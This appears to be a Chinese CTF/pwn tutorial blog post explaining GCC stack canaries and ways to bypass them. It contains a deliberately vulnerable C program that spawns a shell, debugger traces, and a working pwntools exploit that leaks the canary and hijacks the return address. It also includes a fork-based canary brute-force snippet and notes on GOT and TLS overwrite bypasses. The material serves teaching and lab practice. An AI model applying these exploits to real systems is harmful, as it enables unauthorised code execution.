从零开始的 Pwn 之旅 - Cancary

前言

Cancary 是一种安全加固保护机制,通过对程序栈底插入一段随机的字节串,来校验当前程序是否被栈溢出

cancary

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
// main.c
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
  return EXIT_SUCCESS;
}

void canary_strong()
{
  typedef struct MyStruct {
    char buf[0x4];
  }MyStruct;

  MyStruct myStruct;
}

void canary()
{
  char buf[0x8];
}

编译参数:

参数作用推荐场景
-fno-stack-protector关闭所有 canary 保护,不插入栈溢出检测调试、CTF、性能极致等特殊场景
-fstack-protector只保护含有缓冲区(如数组、结构体)的函数,插入 canary 检查(最基本的保护)兼顾性能和基本安全
-fstack-protector-strong保护更多类型的函数(如含有数组、结构体、指针等)推荐日常开发和生产环境
-fstack-protector-all对所有函数都加入 canary 检查,安全性最高,但性能开销最大极高安全需求的场景

-fstack-protector 会对含有缓冲区的函数(如数组、结构体)插入 canary 检查,防止栈溢出攻击。如果数组小于 0x8, 是不会被保护的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
000000000000114b <canary_strong>:
    114b: 55                    push   rbp
    114c: 48 89 e5              mov    rbp,rsp
    114f: 90                    nop
    1150: 5d                    pop    rbp
    1151: c3                    ret

0000000000001152 <canary>:
    1152: 55                    push   rbp
    1153: 48 89 e5              mov    rbp,rsp
    1156: 48 83 ec 10           sub    rsp,0x10
    115a: 64 48 8b 04 25 28 00 00 00  mov    rax,QWORD PTR fs:0x28
    1163: 48 89 45 f8           mov    QWORD PTR [rbp-0x8],rax
    1167: 31 c0                 xor    eax,eax
    1169: 90                    nop
    116a: 48 8b 45 f8           mov    rax,QWORD PTR [rbp-0x8]
    116e: 64 48 2b 04 25 28 00 00 00  sub    rax,QWORD PTR fs:0x28
    1177: 74 05                 je     117e <canary+0x2c>
    1179: e8 b2 fe ff ff        call   1030 <__stack_chk_fail@plt>
    117e: c9                    leave
    117f: c3                    ret

若修改 canary 函数的 buf 大小为 0x4

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
000000000000112b <canary_strong>:
    112b: 55                    push   rbp
    112c: 48 89 e5              mov    rbp,rsp
    112f: 90                    nop
    1130: 5d                    pop    rbp
    1131: c3                    ret

0000000000001132 <canary>:
    1132: 55                    push   rbp
    1133: 48 89 e5              mov    rbp,rsp
    1136: 90                    nop
    1137: 5d                    pop    rbp
    1138: c3                    ret

-fstack-protector-strong 则会保护更多类型的函数,包括含有指针、结构体等的函数,提供更全面的保护。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
000000000000114b <canary_strong>:
    114b: 55                    push   rbp
    114c: 48 89 e5              mov    rbp,rsp
    114f: 48 83 ec 10           sub    rsp,0x10
    1153: 64 48 8b 04 25 28 00 00 00  mov    rax,QWORD PTR fs:0x28
    115c: 48 89 45 f8           mov    QWORD PTR [rbp-0x8],rax
    1160: 31 c0                 xor    eax,eax
    1162: 90                    nop
    1163: 48 8b 45 f8           mov    rax,QWORD PTR [rbp-0x8]
    1167: 64 48 2b 04 25 28 00 00 00  sub    rax,QWORD PTR fs:0x28
    1170: 74 05                 je     1177 <canary_strong+0x2c>
    1172: e8 b9 fe ff ff        call   1030 <__stack_chk_fail@plt>
    1177: c9                    leave
    1178: c3                    ret

0000000000001179 <canary>:
    1179: 55                    push   rbp
    117a: 48 89 e5              mov    rbp,rsp
    117d: 48 83 ec 10           sub    rsp,0x10
    1181: 64 48 8b 04 25 28 00 00 00  mov    rax,QWORD PTR fs:0x28
    118a: 48 89 45 f8           mov    QWORD PTR [rbp-0x8],rax
    118e: 31 c0                 xor    eax,eax
    1190: 90                    nop
    1191: 48 8b 45 f8           mov    rax,QWORD PTR [rbp-0x8]
    1195: 64 48 2b 04 25 28 00 00 00  sub    rax,QWORD PTR fs:0x28
    119e: 74 05                 je     11a5 <canary+0x2c>
    11a0: e8 8b fe ff ff        call   1030 <__stack_chk_fail@plt>
    11a5: c9                    leave
    11a6: c3                    ret

linux News

As Kees Cook pointed out in a recent blog post , the Google Chrome OS team had been using -fstack-protector-all since the team is “paranoid”, but a new -fstack-protector-strong option has been developed to broaden the scope of the stack protection without extending it to every function in the program.

-fstack-protector-all 会对所有函数都加入 canary 检查,安全性最高,但性能开销也最大。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
0000000000001139 <main>:
    1139: 55                    push   rbp
    113a: 48 89 e5              mov    rbp,rsp
    113d: 48 83 ec 20           sub    rsp,0x20
    1141: 89 7d ec              mov    DWORD PTR [rbp-0x14],edi
    1144: 48 89 75 e0           mov    QWORD PTR [rbp-0x20],rsi
    1148: 64 48 8b 04 25 28 00 00 00  mov    rax,QWORD PTR fs:0x28
    1151: 48 89 45 f8           mov    QWORD PTR [rbp-0x8],rax
    1155: 31 c0                 xor    eax,eax
    1157: b8 00 00 00 00        mov    eax,0x0
    115c: 48 8b 55 f8           mov    rdx,QWORD PTR [rbp-0x8]
    1160: 64 48 2b 14 25 28 00 00 00  sub    rdx,QWORD PTR fs:0x28
    1169: 74 05                 je     1170 <main+0x37>
    116b: e8 c0 fe ff ff        call   1030 <__stack_chk_fail@plt>
    1170: c9                    leave
    1171: c3                    ret

让我们看看 cancary 的相关代码

1
2
3
4
5
6
7
    1148: 64 48 8b 04 25 28 00 00 00  mov    rax,QWORD PTR fs:0x28
    1151: 48 89 45 f8           mov    QWORD PTR [rbp-0x8],rax

    115c: 48 8b 55 f8           mov    rdx,QWORD PTR [rbp-0x8]
    1160: 64 48 2b 14 25 28 00 00 00  sub    rdx,QWORD PTR fs:0x28
    1169: 74 05                 je     1170 <main+0x37>
    116b: e8 c0 fe ff ff        call   1030 <__stack_chk_fail@plt>

首先会从 fs (Thread Local Storage) 中读取一个值到 rax 中,这个值就是 canary 的值,然后将其存储到栈中 rbp-0x8 的位置。接着在函数结束时,会再次从栈中读取这个值,并与 fs 中的值进行比较,如果不相等,则调用 __stack_chk_fail 函数,通常会导致程序异常终止。

绕过 cancary

泄露 cancary 值

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// ex2.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}
void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}
1
gcc -m32 -no-pie cacary.c -o cacary
1
2
3
4
5
6
7
8
var_C= dword ptr -0Ch

mov     eax, large gs:14h
mov     [ebp+var_C], eax

mov     eax, [ebp+var_C]
sub     eax, large gs:14h
jz      short loc_8049292

可以看到这个 32 位程序将 cancary 值存储在 ebp-0xc 的位置,并在函数结束时与 fs 中的值进行比较。

1
2
3
4
5
6
7
8
9
pwndbg> tele $ebp-0xc
00:0000│-00c 0xffffd13c ◂— 0xbcf63800
01:0004│-008 0xffffd140 —▸ 0x804a010 ◂— 'Hello Hacker!'
02:0008│-004 0xffffd144 —▸ 0x804bff4 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bef0 (_DYNAMIC) ◂— 1
03:000c│ ebp 0xffffd148 —▸ 0xffffd158 —▸ 0xf7ffcb60 (_rtld_global_ro) ◂— 0
04:0010│+004 0xffffd14c —▸ 0x80492cd (main+54) ◂— mov eax, 0
05:0014│+008 0xffffd150 —▸ 0xffffd170 ◂— 1
06:0018│+00c 0xffffd154 —▸ 0xf7f68e0c ◂— 0x22bd2c
07:001c│+010 0xffffd158 —▸ 0xf7ffcb60 (_rtld_global_ro) ◂— 0

canary 的值为 0xbcf63800,我们可以通过泄露这个值来绕过 cancary 的保护。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
pwndbg> tele $ebp-0xc
00:0000│-00c 0xff988d1c ◂— 0x5ac26862
01:0004│-008 0xff988d20 —▸ 0x804a010 ◂— 'Hello Hacker!'
02:0008│-004 0xff988d24 —▸ 0x804bff4 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bef0 (_DYNAMIC) ◂— 1
03:000c│ ebp 0xff988d28 —▸ 0xff988d38 —▸ 0xf7f0eb60 (_rtld_global_ro) ◂— 0
04:0010│+004 0xff988d2c —▸ 0x80492cd (main+54) ◂— mov eax, 0
05:0014│+008 0xff988d30 —▸ 0xff988d50 ◂— 1
06:0018│+00c 0xff988d34 —▸ 0xf7e7ae0c ◂— 0x22bd2c
07:001c│+010 0xff988d38 —▸ 0xf7f0eb60 (_rtld_global_ro) ◂— 0
pwndbg> tele $ebp-0x10
00:0000│-010 0xff988d18 ◂— 0x62626262 ('bbbb')
01:0004│-00c 0xff988d1c ◂— 0x5ac26862
02:0008│-008 0xff988d20 —▸ 0x804a010 ◂— 'Hello Hacker!'
03:000c│-004 0xff988d24 —▸ 0x804bff4 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bef0 (_DYNAMIC) ◂— 1
04:0010│ ebp 0xff988d28 —▸ 0xff988d38 —▸ 0xf7f0eb60 (_rtld_global_ro) ◂— 0
05:0014│+004 0xff988d2c —▸ 0x80492cd (main+54) ◂— mov eax, 0
06:0018│+008 0xff988d30 —▸ 0xff988d50 ◂— 1
07:001c│+00c 0xff988d34 —▸ 0xf7e7ae0c ◂— 0x22bd2c

值得注意,cancary 值的最后一位字节是 0x00, 在泄露时需要填充其他字符

这里 offset 的确定有点问题

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
pwndbg> r
Starting program: /home/lhon901/Code/cpp/cancary
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
Hello Hacker!
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaaf����������������7���P���[���k���������������z�����������������������/���T���u������������������#���8���P���h���}����������������0���C���r���������������daafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj
aaexaaeyaaezaafbaafcaaf����������������7���P���[���k���������������z�����������������������/���T���u������������������#���8���P���h���}����������������0���C���r���������������*** stack smashing detected ***: terminated

Program received signal SIGABRT, Aborted.
0xf7fc5579 in __kernel_vsyscall ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
────────────────[ REGISTERS / show-flags off / show-compact-regs off ]────────────────
 EAX  0
 EBX  0x6a72
 ECX  0x6a72
 EDX  6
 EDI  0
 ESI  0x6a72
 EBP  0
 ESP  0xffffcec0 ◂— 0
 EIP  0xf7fc5579 (__kernel_vsyscall+9) ◂— pop ebp
──────────────────────────[ DISASM / i386 / set emulate on ]──────────────────────────
 ► 0xf7fc5579 <__kernel_vsyscall+9>     pop    ebp     EBP => 0
   0xf7fc557a <__kernel_vsyscall+10>    pop    edx     EDX => 6
   0xf7fc557b <__kernel_vsyscall+11>    pop    ecx     ECX => 0x6a72
   0xf7fc557c <__kernel_vsyscall+12>    ret                                <0xf7dd1a3f>
   0xf7dd1a3f                           mov    edx, eax            EDX => 0
   0xf7dd1a41                           neg    edx
   0xf7dd1a43                           cmp    eax, 0xfffff000     0x0 - 0xfffff000     EFLAGS => 0x207 [ CF PF af zf sf IF df of ]
   0xf7dd1a48                           mov    eax, ebp            EAX => 0
   0xf7dd1a4a                           cmova  eax, edx
   0xf7dd1a4d                           jmp    0xf7dd19c4                  <0xf7dd19c4>
   0xf7dd19c4                           mov    edx, dword ptr [esp + 0x1c]     EDX, [0xffffceec] => 0xb93b7a00
──────────────────────────────────────[ STACK ]───────────────────────────────────────
00:0000│ esp 0xffffcec0 ◂— 0
01:0004│     0xffffcec4 ◂— 6
02:0008│     0xffffcec8 ◂— 0x6a72 /* 'rj' */
03:000c│     0xffffcecc —▸ 0xf7dd1a3f ◂— mov edx, eax
04:0010│     0xffffced0 —▸ 0xf7f69d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
05:0014│     0xffffced4 ◂— 0
06:0018│     0xffffced8 ◂— 0x1c
07:001c│     0xffffcedc ◂— 6
────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────
0 0xf7fc5579 __kernel_vsyscall+9
   1 0xf7dd1a3f None
   2 0xf7d76377 raise+39
   3 0xf7d5d1fa abort+56
   4 0xf7d5e3a4 None
   5 0xf7e77d03 None
   6 0xf7e78b4f None
   7 0x80492f9 None
──────────────────────────────────────────────────────────────────────────────────────
pwndbg>

通过 BACKTRACE 可以看到我们步进了 __stack_chk_fail 函数,无法查看 vuln 函数的栈信息。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
pwndbg> bt
#0  0xf7fc5579 in __kernel_vsyscall ()
#1  0xf7dd1a3f in ?? () from /usr/lib32/libc.so.6
#2  0xf7d76377 in raise () from /usr/lib32/libc.so.6
#3  0xf7d5d1fa in abort () from /usr/lib32/libc.so.6
#4  0xf7d5e3a4 in ?? () from /usr/lib32/libc.so.6
#5  0xf7e77d03 in __fortify_fail () from /usr/lib32/libc.so.6
#6  0xf7e78b4f in __stack_chk_fail () from /usr/lib32/libc.so.6
#7  0x080492f9 in __stack_chk_fail_local ()
#8  0x08049292 in vuln ()
#9  0x67616168 in ?? ()
#10 0x67616169 in ?? ()
#11 0x6761616a in ?? ()
#12 0x6761616b in ?? ()
#13 0x6761616c in ?? ()
#14 0x6761616d in ?? ()
#15 0x6761616e in ?? ()
#16 0x6761616f in ?? ()
#17 0x67616170 in ?? ()
#18 0x67616171 in ?? ()
#19 0x67616172 in ?? ()
#20 0x67616173 in ?? ()
#21 0x67616174 in ?? ()
#22 0x67616175 in ?? ()
#23 0x67616176 in ?? ()
#24 0x67616177 in ?? ()
#25 0x67616178 in ?? ()
#26 0x67616179 in ?? ()
#27 0x6861617a in ?? ()
#28 0x68616162 in ?? ()
#29 0x68616163 in ?? ()
#30 0x68616164 in ?? ()
#31 0x68616165 in ?? ()
#32 0x68616166 in ?? ()
#33 0x68616167 in ?? ()
#34 0x68616168 in ?? ()
#35 0x68616169 in ?? ()
#36 0x6861616a in ?? ()
#37 0x6861616b in ?? ()
#38 0x6861616c in ?? ()
#39 0x6861616d in ?? ()
#40 0x6861616e in ?? ()
#41 0x6861616f in ?? ()
#42 0x68616170 in ?? ()
#43 0x68616171 in ?? ()
#44 0x68616172 in ?? ()
#45 0x68616173 in ?? ()
#46 0x68616174 in ?? ()
#47 0x68616175 in ?? ()
#48 0x68616176 in ?? ()
#49 0x68616177 in ?? ()
#50 0x68616178 in ?? ()
#51 0x68616179 in ?? ()
#52 0x6961617a in ?? ()
#53 0x69616162 in ?? ()
#54 0x69616163 in ?? ()
#55 0x69616164 in ?? ()
#56 0x69616165 in ?? ()
#57 0x69616166 in ?? ()
#58 0x69616167 in ?? ()
#59 0x69616168 in ?? ()
#60 0x69616169 in ?? ()
#61 0x6961616a in ?? ()
#62 0x6961616b in ?? ()
#63 0x6961616c in ?? ()
#64 0x6961616d in ?? ()
#65 0x6961616e in ?? ()
#66 0x6961616f in ?? ()
#67 0x69616170 in ?? ()
#68 0x69616171 in ?? ()
#69 0x69616172 in ?? ()
#70 0x69616173 in ?? ()
#71 0x69616174 in ?? ()
#72 0x69616175 in ?? ()
#73 0x69616176 in ?? ()
#74 0x69616177 in ?? ()
#75 0x69616178 in ?? ()
#76 0x69616179 in ?? ()
#77 0x6a61617a in ?? ()
#78 0x6a616162 in ?? ()
#79 0x6a616163 in ?? ()
#80 0x6a616164 in ?? ()
#81 0x6a616165 in ?? ()
#82 0x6a616166 in ?? ()
#83 0x6a616167 in ?? ()
#84 0x6a616168 in ?? ()
#85 0x6a616169 in ?? ()
#86 0x6a61616a in ?? ()
#87 0x6a61616b in ?? ()
#88 0x6a61616c in ?? ()
#89 0x6a61616d in ?? ()
#90 0x6a61616e in ?? ()
#91 0x6a61616f in ?? ()
#92 0x6a616170 in ?? ()
#93 0x6a616171 in ?? ()
#94 0x6a616172 in ?? ()
#95 0x6a616173 in ?? ()
#96 0x6a616174 in ?? ()
#97 0x6a616175 in ?? ()
#98 0x6a616176 in ?? ()
#99 0x6a616177 in ?? ()
#100 0x6a616178 in ?? ()
#101 0x6a616179 in ?? ()
#102 0x6561610a in ?? ()
#103 0x65616178 in ?? ()
#104 0x65616179 in ?? ()
#105 0x6661617a in ?? ()
#106 0x66616162 in ?? ()
#107 0x66616163 in ?? ()
#108 0xffffdabd in ?? ()
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
pwndbg> up 8
   0 0xf7dd1a3f None
   1 0xf7d76377 raise+39
   2 0xf7d5d1fa abort+56
   3 0xf7d5e3a4 None
   4 0xf7e77d03 None
   5 0xf7e78b4f None
   6 0x80492f9 None
7 0x8049292 vuln+103
   8 0x67616168 None
   9 0x67616169 None
   10 0x6761616a None
   11 0x6761616b None
   12 0x6761616c None
   13 0x6761616d None
   14 0x6761616e None
pwndbg> tele $esp
00:0000│ esp 0xffffd0d0 ◂— 1
01:0004│-074 0xffffd0d4 ◂— 2
02:0008│-070 0xffffd0d8 ◂— 0x66616164 ('daaf')
03:000c│-06c 0xffffd0dc ◂— 0x66616165 ('eaaf')
04:0010│-068 0xffffd0e0 ◂— 0x66616166 ('faaf')
05:0014│-064 0xffffd0e4 ◂— 0x66616167 ('gaaf')
06:0018│-060 0xffffd0e8 ◂— 0x66616168 ('haaf')
07:001c│-05c 0xffffd0ec ◂— 0x66616169 ('iaaf')
pwndbg> tele $ebp
00:0000│ ebp 0xffffd148 ◂— 0x67616167 ('gaag')
01:0004│+004 0xffffd14c ◂— 0x67616168 ('haag')
02:0008│+008 0xffffd150 ◂— 0x67616169 ('iaag')
03:000c│+00c 0xffffd154 ◂— 0x6761616a ('jaag')
04:0010│+010 0xffffd158 ◂— 0x6761616b ('kaag')
05:0014│+014 0xffffd15c ◂— 0x6761616c ('laag')
06:0018│+018 0xffffd160 ◂— 0x6761616d ('maag')
07:001c│+01c 0xffffd164 ◂— 0x6761616e ('naag')

这样可以明显的看到我们的输入距离栈底 ebp 的 offset 是 0x70

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

p = process("./cancary")

context.terminal = ["kitty", "@", "launch", "--type=window"]

payload = b"a" * (0x70 - 0xC - 0x4) + b"bbbbb"

# gdb.attach(p)
# pause()
p.send(payload)

p.recvuntil(b"bbbbb")
cancary = u32(p.recv(3).rjust(4, b"\x00"))
success("cancary: " + hex(cancary))

getshell = 0x080491A6
payload = b"a" * (0x70 - 0xC) + p32(cancary)
payload = payload.ljust(0x70 + 0x4, b"\x00") + p32(getshell)
# gdb.attach(p)
# pause()
p.send(payload)

p.interactive()

fork 爆破 cancary

对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。 在著名的 offset2libc 绕过 linux64bit 的所有保护的文章中,作者就是利用这样的方式爆破得到的 Canary: 这是爆破的 Python 代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
print "[+] Brute forcing stack canary "

start = len(p)
stop = len(p)+8

while len(p) < stop:
   for i in xrange(0,256):
      res = send2server(p + chr(i))

      if res != "":
         p = p + chr(i)
         #print "\t[+] Byte found 0x%02x" % i
         break

      if i == 255:
         print "[-] Exploit failed"
         sys.exit(-1)


canary = p[stop:start-1:-1].encode("hex")
print "   [+] SSP value is 0x%s" % canary
  • 题目示例

劫持 __stack_chk_fail 函数

已知 Canary 失败的处理逻辑会进入到 **stack_chk_failed 函数,**stack_chk_failed 函数是一个普通的延迟绑定函数,可以通过修改 GOT 表劫持这个函数。

  • TODO: ZCTF2017 Login

覆盖 TLS 中储存的 Canary 值

已知 Canary 储存在 TLS 中,在函数返回前会使用这个值进行对比。当溢出尺寸较大时,可以同时覆盖栈上储存的 Canary 和 TLS 储存的 Canary 实现绕过。

  • TODO: StarCTF2018 babystack